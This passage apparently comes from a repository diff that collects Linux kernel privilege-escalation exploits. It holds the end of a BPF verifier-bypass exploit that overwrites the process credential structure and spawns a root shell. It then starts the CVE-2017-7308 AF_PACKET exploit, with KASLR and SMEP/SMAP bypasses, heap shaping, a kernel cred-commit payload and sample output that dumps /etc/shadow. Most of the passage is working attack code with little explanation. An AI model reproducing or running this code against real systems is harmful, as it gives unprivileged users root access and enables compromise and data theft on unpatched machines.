.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_LD_IMM64(DST, IMM) \
|
||||
BPF_LD_IMM64_RAW(DST, 0, IMM)
|
||||
|
||||
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LD | BPF_DW | BPF_IMM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = (__u32) (IMM) }), \
|
||||
((struct bpf_insn) { \
|
||||
.code = 0, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = ((__u64) (IMM)) >> 32 })
|
||||
|
||||
#ifndef BPF_PSEUDO_MAP_FD
|
||||
# define BPF_PSEUDO_MAP_FD 1
|
||||
#endif
|
||||
|
||||
#define BPF_LD_MAP_FD(DST, MAP_FD) \
|
||||
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
|
||||
|
||||
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = CODE, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = OFF, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_EXIT_INSN() \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_JMP | BPF_EXIT, \
|
||||
.dst_reg = 0, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_DISABLE_VERIFIER() \
|
||||
BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \
|
||||
BPF_EXIT_INSN() /* } */ \
|
||||
|
||||
#define BPF_MAP_GET(idx, dst) \
|
||||
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \
|
||||
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \
|
||||
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \
|
||||
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \
|
||||
BPF_EXIT_INSN(), /* exit(0); */ \
|
||||
BPF_LDX_MEM(BPF_DW, (dst), BPF_REG_0, 0) /* r_dst = *(u64 *)(r0) */
|
||||
|
||||
static int load_prog() {
|
||||
struct bpf_insn prog[] = {
|
||||
BPF_DISABLE_VERIFIER(),
|
||||
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_1, -16), /* *(fp - 16) = r1 */
|
||||
|
||||
BPF_LD_MAP_FD(BPF_REG_9, mapfd),
|
||||
|
||||
BPF_MAP_GET(0, BPF_REG_6), /* r6 = op */
|
||||
BPF_MAP_GET(1, BPF_REG_7), /* r7 = address */
|
||||
BPF_MAP_GET(2, BPF_REG_8), /* r8 = value */
|
||||
|
||||
/* store map slot address in r2 */
|
||||
BPF_MOV64_REG(BPF_REG_2, BPF_REG_0), /* r2 = r0 */
|
||||
BPF_MOV64_IMM(BPF_REG_0, 0), /* r0 = 0 for exit(0) */
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2), /* if (op == 0) */
|
||||
/* get fp */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 1, 3), /* else if (op == 1) */
|
||||
/* get skbuff */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_10, -16),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 2, 3), /* else if (op == 2) */
|
||||
/* read */
|
||||
BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_3, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
/* else */
|
||||
/* write */
|
||||
BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
|
||||
BPF_EXIT_INSN(),
|
||||
|
||||
};
|
||||
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, prog, sizeof(prog), "GPL", 0);
|
||||
}
|
||||
|
||||
void info(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[.] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void msg(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void redact(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
if(doredact) {
|
||||
fprintf(stdout, "[!] ( ( R E D A C T E D ) )\n");
|
||||
return;
|
||||
}
|
||||
fprintf(stdout, "[*] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
}
|
||||
|
||||
void fail(const char *fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
fprintf(stdout, "[!] ");
|
||||
vfprintf(stdout, fmt, args);
|
||||
va_end(args);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
void
|
||||
initialize() {
|
||||
info("\n");
|
||||
info("t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)\n");
|
||||
info("\n");
|
||||
info(" ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **\n");
|
||||
info("\n");
|
||||
|
||||
redact("creating bpf map\n");
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3, 0);
|
||||
if (mapfd < 0) {
|
||||
fail("failed to create bpf map: '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("sneaking evil bpf past the verifier\n");
|
||||
progfd = load_prog();
|
||||
if (progfd < 0) {
|
||||
if (errno == EACCES) {
|
||||
msg("log:\n%s", bpf_log_buf);
|
||||
}
|
||||
fail("failed to load prog '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("creating socketpair()\n");
|
||||
if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) {
|
||||
fail("failed to create socket pair '%s'\n", strerror(errno));
|
||||
}
|
||||
|
||||
redact("attaching bpf backdoor to socket\n");
|
||||
if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) {
|
||||
fail("setsockopt '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static void writemsg() {
|
||||
ssize_t n = write(sockets[0], buffer, sizeof(buffer));
|
||||
if (n < 0) {
|
||||
perror("write");
|
||||
return;
|
||||
}
|
||||
if (n != sizeof(buffer)) {
|
||||
fprintf(stderr, "short write: %zd\n", n);
|
||||
}
|
||||
}
|
||||
|
||||
static void
|
||||
update_elem(int key, unsigned long value) {
|
||||
if (bpf_update_elem(mapfd, &key, &value, 0)) {
|
||||
fail("bpf_update_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
get_value(int key) {
|
||||
unsigned long value;
|
||||
if (bpf_lookup_elem(mapfd, &key, &value)) {
|
||||
fail("bpf_lookup_elem failed '%s'\n", strerror(errno));
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
static unsigned long
|
||||
sendcmd(unsigned long op, unsigned long addr, unsigned long value) {
|
||||
update_elem(0, op);
|
||||
update_elem(1, addr);
|
||||
update_elem(2, value);
|
||||
writemsg();
|
||||
return get_value(2);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_skbuff() {
|
||||
return sendcmd(1, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
get_fp() {
|
||||
return sendcmd(0, 0, 0);
|
||||
}
|
||||
|
||||
unsigned long
|
||||
read64(unsigned long addr) {
|
||||
return sendcmd(2, addr, 0);
|
||||
}
|
||||
|
||||
void
|
||||
write64(unsigned long addr, unsigned long val) {
|
||||
(void)sendcmd(3, addr, val);
|
||||
}
|
||||
|
||||
static unsigned long find_cred() {
|
||||
uid_t uid = getuid();
|
||||
unsigned long skbuff = get_skbuff();
|
||||
/*
|
||||
* struct sk_buff {
|
||||
* [...24 byte offset...]
|
||||
* struct sock *sk;
|
||||
* };
|
||||
*
|
||||
*/
|
||||
|
||||
unsigned long sock_addr = read64(skbuff + 24);
|
||||
msg("skbuff => %llx\n", skbuff);
|
||||
msg("Leaking sock struct from %llx\n", sock_addr);
|
||||
if(sock_addr < PHYS_OFFSET){
|
||||
fail("Failed to find Sock address from sk_buff.\n");
|
||||
}
|
||||
|
||||
/*
|
||||
* scan forward for expected sk_rcvtimeo value.
|
||||
*
|
||||
* struct sock {
|
||||
* [...]
|
||||
* const struct cred *sk_peer_cred;
|
||||
* long sk_rcvtimeo;
|
||||
* };
|
||||
*/
|
||||
for (int i = 0; i < 100; i++, sock_addr += 8) {
|
||||
if(read64(sock_addr) == 0x7FFFFFFFFFFFFFFF) {
|
||||
unsigned long cred_struct = read64(sock_addr - 8);
|
||||
if(cred_struct < PHYS_OFFSET) {
|
||||
continue;
|
||||
}
|
||||
|
||||
unsigned long test_uid = (read64(cred_struct + 8) & 0xFFFFFFFF);
|
||||
|
||||
if(test_uid != uid) {
|
||||
continue;
|
||||
}
|
||||
msg("Sock->sk_rcvtimeo at offset %d\n", i * 8);
|
||||
msg("Cred structure at %llx\n", cred_struct);
|
||||
msg("UID from cred structure: %d, matches the current: %d\n", test_uid, uid);
|
||||
|
||||
return cred_struct;
|
||||
}
|
||||
}
|
||||
fail("failed to find sk_rcvtimeo.\n");
|
||||
}
|
||||
|
||||
static void
|
||||
hammer_cred(unsigned long addr) {
|
||||
msg("hammering cred structure at %llx\n", addr);
|
||||
#define w64(w) { write64(addr, (w)); addr += 8; }
|
||||
unsigned long val = read64(addr) & 0xFFFFFFFFUL;
|
||||
w64(val);
|
||||
w64(0); w64(0); w64(0); w64(0);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
w64(0xFFFFFFFFFFFFFFFF);
|
||||
#undef w64
|
||||
}
|
||||
|
||||
int
|
||||
main(int argc, char **argv) {
|
||||
initialize();
|
||||
hammer_cred(find_cred());
|
||||
msg("credentials patched, launching shell...\n");
|
||||
if(execl("/bin/sh", "/bin/sh", NULL)) {
|
||||
fail("exec %s\n", strerror(errno));
|
||||
}
|
||||
}
|
||||
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,792 @@
|
|||
// A proof-of-concept local root exploit for CVE-2017-7308.
|
||||
// Includes a SMEP & SMAP bypass.
|
||||
// Tested on Ubuntu / Linux Mint:
|
||||
// - 4.8.0-34-generic
|
||||
// - 4.8.0-36-generic
|
||||
// - 4.8.0-39-generic
|
||||
// - 4.8.0-41-generic
|
||||
// - 4.8.0-42-generic
|
||||
// - 4.8.0-44-generic
|
||||
// - 4.8.0-45-generic
|
||||
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-7308
|
||||
//
|
||||
// Usage:
|
||||
// user@ubuntu:~$ uname -a
|
||||
// Linux ubuntu 4.8.0-41-generic #44~16.04.1-Ubuntu SMP Fri Mar 3 ...
|
||||
// user@ubuntu:~$ gcc pwn.c -o pwn
|
||||
// user@ubuntu:~$ ./pwn
|
||||
// [.] starting
|
||||
// [.] system has 2 processors
|
||||
// [.] checking kernel version
|
||||
// [.] kernel version '4.8.0-41-generic' detected
|
||||
// [~] done, version looks good
|
||||
// [.] checking SMEP and SMAP
|
||||
// [~] done, looks good
|
||||
// [.] setting up namespace sandbox
|
||||
// [~] done, namespace sandbox set up
|
||||
// [.] KASLR bypass enabled, getting kernel addr
|
||||
// [.] done, kernel text: ffffffff87000000
|
||||
// [.] commit_creds: ffffffff870a5cf0
|
||||
// [.] prepare_kernel_cred: ffffffff870a60e0
|
||||
// [.] native_write_cr4: ffffffff87064210
|
||||
// [.] padding heap
|
||||
// [.] done, heap is padded
|
||||
// [.] SMEP & SMAP bypass enabled, turning them off
|
||||
// [.] done, SMEP & SMAP should be off now
|
||||
// [.] executing get root payload 0x401516
|
||||
// [.] done, should be root now
|
||||
// [.] checking if we got root
|
||||
// [+] got r00t ^_^
|
||||
// root@ubuntu:/home/user# cat /etc/shadow
|
||||
// root:!:17246:0:99999:7:::
|
||||
// daemon:*:17212:0:99999:7:::
|
||||
// bin:*:17212:0:99999:7:::
|
||||
// ...
|
||||
//
|
||||
// Andrey Konovalov <andreyknvl@gmail.com>
|
||||
// ---
|
||||
// Updated by <bcoles@gmail.com>
|
||||
// - support for systems with SMEP but no SMAP
|
||||
// - check number of CPU cores
|
||||
// - additional kernel targets
|
||||
// - additional KASLR bypasses
|
||||
// https://github.com/bcoles/kernel-exploits/tree/cve-2017-7308
|
||||
|
||||
#define _GNU_SOURCE
|
||||
|
||||
#include <assert.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sched.h>
|
||||
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/klog.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/sysinfo.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <sys/wait.h>
|
||||
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/if_packet.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/udp.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define ENABLE_KASLR_BYPASS 1
|
||||
#define ENABLE_SMEP_SMAP_BYPASS 1
|
||||
|
||||
char *SHELL = "/bin/bash";
|
||||
|
||||
// Will be overwritten if ENABLE_KASLR_BYPASS
|
||||
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
|
||||
|
||||
// Will be overwritten by detect_versions().
|
||||
int kernel = -1;
|
||||
|
||||
struct kernel_info {
|
||||
const char* version;
|
||||
uint64_t commit_creds;
|
||||
uint64_t prepare_kernel_cred;
|
||||
uint64_t native_write_cr4;
|
||||
};
|
||||
|
||||
struct kernel_info kernels[] = {
|
||||
{ "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x64210 },
|
||||
{ "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-42-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-44-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
{ "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x64210 },
|
||||
};
|
||||
|
||||
// Used to get root privileges.
|
||||
#define COMMIT_CREDS (KERNEL_BASE + kernels[kernel].commit_creds)
|
||||
#define PREPARE_KERNEL_CRED (KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
|
||||
#define NATIVE_WRITE_CR4 (KERNEL_BASE + kernels[kernel].native_write_cr4)
|
||||
|
||||
// Will be overwritten if ENABLE_SMEP_SMAP_BYPASS
|
||||
unsigned long CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
|
||||
#define KMALLOC_PAD 512
|
||||
#define PAGEALLOC_PAD 1024
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef uint32_t u32;
|
||||
|
||||
// $ pahole -C hlist_node ./vmlinux
|
||||
struct hlist_node {
|
||||
struct hlist_node * next; /* 0 8 */
|
||||
struct hlist_node * * pprev; /* 8 8 */
|
||||
};
|
||||
|
||||
// $ pahole -C timer_list ./vmlinux
|
||||
struct timer_list {
|
||||
struct hlist_node entry; /* 0 16 */
|
||||
long unsigned int expires; /* 16 8 */
|
||||
void (*function)(long unsigned int); /* 24 8 */
|
||||
long unsigned int data; /* 32 8 */
|
||||
u32 flags; /* 40 4 */
|
||||
int start_pid; /* 44 4 */
|
||||
void * start_site; /* 48 8 */
|
||||
char start_comm[16]; /* 56 16 */
|
||||
};
|
||||
|
||||
// packet_sock->rx_ring->prb_bdqc->retire_blk_timer
|
||||
#define TIMER_OFFSET 896
|
||||
|
||||
// pakcet_sock->xmit
|
||||
#define XMIT_OFFSET 1304
|
||||
|
||||
// * * * * * * * * * * * * * * * Helpers * * * * * * * * * * * * * * * * * *
|
||||
|
||||
void packet_socket_rx_ring_init(int s, unsigned int block_size,
|
||||
unsigned int frame_size, unsigned int block_nr,
|
||||
unsigned int sizeof_priv, unsigned int timeout) {
|
||||
int v = TPACKET_V3;
|
||||
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_VERSION)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct tpacket_req3 req;
|
||||
memset(&req, 0, sizeof(req));
|
||||
req.tp_block_size = block_size;
|
||||
req.tp_frame_size = frame_size;
|
||||
req.tp_block_nr = block_nr;
|
||||
req.tp_frame_nr = (block_size * block_nr) / frame_size;
|
||||
req.tp_retire_blk_tov = timeout;
|
||||
req.tp_sizeof_priv = sizeof_priv;
|
||||
req.tp_feature_req_word = 0;
|
||||
|
||||
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] setsockopt(PACKET_RX_RING)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
|
||||
unsigned int block_nr, unsigned int sizeof_priv, int timeout) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
|
||||
if (s < 0) {
|
||||
dprintf("[-] socket(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr,
|
||||
sizeof_priv, timeout);
|
||||
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_family = PF_PACKET;
|
||||
sa.sll_protocol = htons(ETH_P_ALL);
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_hatype = 0;
|
||||
sa.sll_pkttype = 0;
|
||||
sa.sll_halen = 0;
|
||||
|
||||
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
|
||||
if (rv < 0) {
|
||||
dprintf("[-] bind(AF_PACKET)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_socket_send(int s, char *buffer, int size) {
|
||||
struct sockaddr_ll sa;
|
||||
memset(&sa, 0, sizeof(sa));
|
||||
sa.sll_ifindex = if_nametoindex("lo");
|
||||
sa.sll_halen = ETH_ALEN;
|
||||
|
||||
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
|
||||
sizeof(sa)) < 0) {
|
||||
dprintf("[-] sendto(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void loopback_send(char *buffer, int size) {
|
||||
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_RAW)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
packet_socket_send(s, buffer, size);
|
||||
}
|
||||
|
||||
int packet_sock_kmalloc() {
|
||||
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket(SOCK_DGRAM)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
void packet_sock_timer_schedule(int s, int timeout) {
|
||||
packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout);
|
||||
}
|
||||
|
||||
void packet_sock_id_match_trigger(int s) {
|
||||
char buffer[16];
|
||||
packet_socket_send(s, &buffer[0], sizeof(buffer));
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define ALIGN(x, a) __ALIGN_KERNEL((x), (a))
|
||||
#define __ALIGN_KERNEL(x, a) __ALIGN_KERNEL_MASK(x, (typeof(x))(a) - 1)
|
||||
#define __ALIGN_KERNEL_MASK(x, mask) (((x) + (mask)) & ~(mask))
|
||||
|
||||
#define V3_ALIGNMENT (8)
|
||||
#define BLK_HDR_LEN (ALIGN(sizeof(struct tpacket_block_desc), V3_ALIGNMENT))
|
||||
|
||||
#define ETH_HDR_LEN sizeof(struct ethhdr)
|
||||
#define IP_HDR_LEN sizeof(struct iphdr)
|
||||
#define UDP_HDR_LEN sizeof(struct udphdr)
|
||||
|
||||
#define UDP_HDR_LEN_FULL (ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
|
||||
|
||||
int oob_setup(int offset) {
|
||||
unsigned int maclen = ETH_HDR_LEN;
|
||||
unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
|
||||
(maclen < 16 ? 16 : maclen));
|
||||
unsigned int macoff = netoff - maclen;
|
||||
unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
|
||||
0x8000 - BLK_HDR_LEN - macoff + offset;
|
||||
return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
|
||||
}
|
||||
|
||||
void oob_write(char *buffer, int size) {
|
||||
loopback_send(buffer, size);
|
||||
}
|
||||
|
||||
void oob_timer_execute(void *func, unsigned long arg) {
|
||||
oob_setup(2048 + TIMER_OFFSET - 8);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++) {
|
||||
int timer = packet_sock_kmalloc();
|
||||
packet_sock_timer_schedule(timer, 1000);
|
||||
}
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, sizeof(buffer));
|
||||
|
||||
struct timer_list *timer = (struct timer_list *)&buffer[8];
|
||||
timer->function = func;
|
||||
timer->data = arg;
|
||||
timer->flags = 1;
|
||||
|
||||
oob_write(&buffer[0] + 2, sizeof(*timer) + 8 - 2);
|
||||
|
||||
sleep(1);
|
||||
}
|
||||
|
||||
void oob_id_match_execute(void *func) {
|
||||
int s = oob_setup(2048 + XMIT_OFFSET - 64);
|
||||
|
||||
int ps[32];
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
ps[i] = packet_sock_kmalloc();
|
||||
|
||||
char buffer[2048];
|
||||
memset(&buffer[0], 0, 2048);
|
||||
|
||||
void **xmit = (void **)&buffer[64];
|
||||
*xmit = func;
|
||||
|
||||
oob_write((char *)&buffer[0] + 2, sizeof(*xmit) + 64 - 2);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
packet_sock_id_match_trigger(ps[i]);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
|
||||
|
||||
void kmalloc_pad(int count) {
|
||||
int i;
|
||||
for (i = 0; i < count; i++)
|
||||
packet_sock_kmalloc();
|
||||
}
|
||||
|
||||
void pagealloc_pad(int count) {
|
||||
packet_socket_setup(0x8000, 2048, count, 0, 100);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
|
||||
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
|
||||
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
|
||||
|
||||
void get_root_payload(void) {
|
||||
((_commit_creds)(COMMIT_CREDS))(
|
||||
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0)
|
||||
);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
void get_kernel_version(char* output, int max_length) {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname())\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
assert(strlen(u.release) <= max_length);
|
||||
strcpy(&output[0], u.release);
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define KERNEL_VERSION_LENGTH 32
|
||||
|
||||
void detect_versions() {
|
||||
char version[KERNEL_VERSION_LENGTH];
|
||||
|
||||
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&version[0], kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
|
||||
#if !ENABLE_SMEP_SMAP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMAP/SMEP detected, use ENABLE_SMEP_SMAP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
switch(rv) {
|
||||
case 1: // SMEP
|
||||
CR4_DESIRED_VALUE = 0x406e0ul;
|
||||
break;
|
||||
case 2: // SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
||||
case 3: // SMEP and SMAP
|
||||
CR4_DESIRED_VALUE = 0x407f0ul;
|
||||
break;
|
